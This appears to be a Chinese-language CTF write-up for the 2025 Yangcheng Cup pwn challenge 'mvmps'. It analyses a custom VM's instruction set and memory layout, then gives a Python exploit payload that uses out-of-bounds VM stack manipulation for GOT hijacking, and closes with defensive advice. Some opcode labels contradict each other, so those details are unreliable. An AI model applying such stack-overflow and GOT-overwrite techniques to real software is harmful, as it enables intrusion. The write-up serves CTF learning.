2025羊城杯mvmps详解 || read写入溢出修改code类型
字数 760 2025-12-19 12:10:12
2025羊城杯mvmps虚拟机漏洞利用详解
题目概述
mvmps是一道基于自定义虚拟机实现的PWN题目,考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。
虚拟机架构分析
检查安全机制
➜➜ Cands checksec vvmm
[*] '/home/ziran/Desktop/1011/Cands/vvmm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
关键安全特性:
- 无PIE:代码段地址固定
- 无栈保护:可进行栈溢出
- 部分RELRO:GOT表可写
虚拟机指令系统
虚拟机支持4种指令类型,通过最低2位标识:
类型0指令(最低两位00)
# 栈指针减
code(0, opcode_high=36, operand1=0x100) # 栈指针减0x100
# 栈指针加
code(0, opcode_high=37, operand1=0x80) # 栈指针加0x80
# 状态加载
code(0, opcode_high=59, operand1=0) # 状态加载操作
# 内存操作
code(0, opcode_high=51, operand1=0x200) # 内存操作(调用sub_4014AF)
# 栈操作
code(0, opcode_high=48, operand1=0x40) # 复杂栈操作
类型1指令(最低两位01)
# 寄存器加1
code(1, opcode_high=33, operand1=1) # 寄存器1加1
# 寄存器减1
code(1, opcode_high=34, operand1=2) # 寄存器2减1
# 栈操作(出栈)
code(1, opcode_high=31, operand1=3) # 出栈到寄存器3
# 栈操作(入栈)
code(1, opcode_high=32, operand1=4) # 寄存器4入栈
# 条件操作
code(1, opcode_high=43, operand1=0) # 如果状态=2则执行操作
类型2指令(最低两位10)
# 寄存器加法
code(2, opcode_high=10, operand1=2, operand2=3) # reg2 += reg3
# 寄存器赋值
code(2, opcode_high=3, operand1=1, operand2=0) # reg1 = reg0
# 寄存器比较(无符号)
code(2, opcode_high=1, operand1=4, operand2=5) # 比较reg4和reg5(无符号)
# 内存读取(字节)
code(2, opcode_high=12, operand1=6, operand2=7) # reg6 = mem[reg7] (byte)
# 内存写入(双字)
code(2, opcode_high=17, operand1=0, operand2=1) # mem[reg0] = reg1 (dword)
类型3指令(最低两位11)
# 寄存器赋值(立即数)
code(3, opcode_high=3, operand1=0, operand2=0x4000) # reg0 = 0x4000
# 寄存器加法(立即数)
code(3, opcode_high=10, operand1=1, operand2=0x100) # reg1 += 0x100
# 内存读取(立即数偏移)
code(3, opcode_high=14, operand1=2, operand2=0x200) # reg2 = mem[基地址+0x200]
# 内存写入(立即数)
code(3, opcode_high=17, operand1=0, operand2=0xdeadbeef) # mem[reg0] = 0xdeadbeef
# 寄存器比较(立即数)
code(3, opcode_high=1, operand1=3, operand2=0x1000) # 比较reg3和0x1000(无符号)
关键指令实现细节
栈指针调整
case '$':
*(_QWORD *)(a1 + 64) -= (unsigned int)(4 * *(_DWORD *)(a2 + 4));
// code(0, opcode_high=36, operand1=0x100) 实际减0x400
case '%':
*(_QWORD *)(a1 + 64) += (unsigned int)(4 * *(_DWORD *)(a2 + 4));
// code(0, opcode_high=37, operand1=0x80) 实际加0x200
注意:操作数会乘以4倍,这是关键的计算细节。
寄存器操作
case 35:
*(_QWORD *)(a1 + 8 * (*(unsigned int *)(a2 + 4) + 2LL)) = *(_QWORD *)(a1 + 64);
// code(1, opcode_high=35, operand1=0) # reg0 = SP
case 32:
*(_QWORD *)(a1 + 8 * (*(unsigned int *)(a2 + 4) + 2LL)) = *(unsigned int *)(*(_QWORD *)a1 + *(_QWORD *)(a1 + 64));
*(_QWORD *)(a1 + 64) += 4LL;
// code(1, opcode_high=32, operand1=1) # reg1 = pop()
内存布局分析
虚拟机寄存器存储区域(0x407280开始):
50:0280│ 0x407280 ◂◂— 0 # 寄存器区域开始
...
54:02a0│ 0x4072a0 —▸▸ 0x4050a0 # 当前指令指针
55:02a8│ 0x4072a8 ◂◂— 4 # 指令字节计数
56:02b0│ 0x4072b0 ◂◂— 0 # 寄存器存储值
57:02b8│ 0x4072b8 ◂◂— 0 # 寄存器存储值
...
5c:02e0│ 0x4072e0 ◂◂— 0x1000 # 栈指针索引
漏洞利用技术
漏洞点分析
1. 栈溢出漏洞
通过精心构造的虚拟机指令序列,可以实现栈溢出:
# 调整栈指针创造溢出条件
payload = code(0, opcode_high=36, operand1=0x100) # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x100) # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x100) # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x100) # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x20) # 栈指针减0x80
2. GOT表劫持
利用内存写入指令修改GOT表:
# 关键的内存写入指令
code(2, opcode_high=17, operand1=值寄存器, operand2=地址寄存器)
# 效果: mem[基地址 + 地址寄存器值] = 值寄存器值 (32位)
利用步骤
第一步:寄存器初始化
# 设置寄存器值为特定数值
code(3, opcode_high=3, operand1=0, operand2=0x123456)
第二步:栈指针调整
# 多次调整栈指针创造溢出条件
adjustments = [
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20)
]
第三步:读取内存到寄存器
# 将栈上数据读取到寄存器
code(1, opcode_high=32, operand1=1) # 出栈到寄存器1
第四步:GOT表修改
# 修改GOT表项,劫持控制流
code(3, opcode_high=6, operand1=1, operand2=0xFF000000) # 寄存器1高位操作
code(3, opcode_high=5, operand1=1, operand2=0xcebd43) # 寄存器1低位操作
第五步:触发漏洞
# 通过栈操作触发执行流劫持
code(0, opcode_high=36, operand1=0x2) # 栈指针调整
code(3, opcode_high=3, operand1=2, operand2=0x402AFA) # 设置寄存器2
code(1, opcode_high=31, operand1=2) # 寄存器2入栈触发
完整利用代码框架
def exploit():
# 初始化寄存器
payload = code(3, opcode_high=3, operand1=0, operand2=0x123456)
# 栈指针调整创造溢出条件
adjustments = [
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20)
]
payload += b''.join(adjustments)
# 内存读取操作
payload += code(1, opcode_high=32, operand1=1)
# GOT表修改
payload += code(3, opcode_high=6, operand1=1, operand2=0xFF000000)
payload += code(3, opcode_high=5, operand1=1, operand2=0xcebd43)
# 触发执行流劫持
payload += code(0, opcode_high=36, operand1=0x2)
payload += code(3, opcode_high=3, operand1=2, operand2=0x402AFA)
payload += code(1, opcode_high=31, operand1=2)
return payload
技术要点总结
- 指令编码理解:必须清楚每种指令类型的编码格式和操作数处理方式
- 栈指针操作:注意操作数会乘以4倍的细节,这是精确控制的关键
- 内存布局:理解虚拟机内存结构和寄存器存储方式
- GOT劫持:利用部分RELRO特性,通过内存写入指令修改GOT表
- 执行流控制:结合栈操作和寄存器操作实现精确的控制流劫持
防御建议
- 启用完整RELRO:防止GOT表被修改
- 栈保护机制:启用栈保护防止栈溢出
- 地址随机化:启用PIE增加利用难度
- 指令验证:虚拟机应加强对指令合法性的验证
这份文档详细分析了mvmps虚拟机的指令系统、漏洞原理和利用技术,为理解和解决此类虚拟机PWN题目提供了完整的技术参考。